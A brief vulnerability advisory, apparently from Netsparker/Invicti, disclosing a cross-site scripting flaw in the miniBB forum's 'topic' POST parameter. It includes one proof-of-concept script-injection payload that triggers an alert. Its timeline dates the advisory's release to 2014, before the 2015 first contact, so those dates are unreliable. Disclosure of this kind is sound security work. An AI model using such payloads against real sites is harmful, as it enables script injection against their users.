Cross-site Scripting Vulnerability in miniBB
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in miniBB
Affected Software: miniBB
Affected Versions: 3.1 and possibly below
Vendor Homepage: http://www.minibb.com
Vulnerability Type: Cross-site Scripting
Invicti Advisory Reference: NS-15-006
Proof of Concept URLs for XSS in miniBB:
Parameter Name: topic
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x005F12)</scRipt>
For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).
05/03/2015 – First Contact
10/04/2015 – Vulnerability fixed
14/04/2014 – Advisory released
Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.
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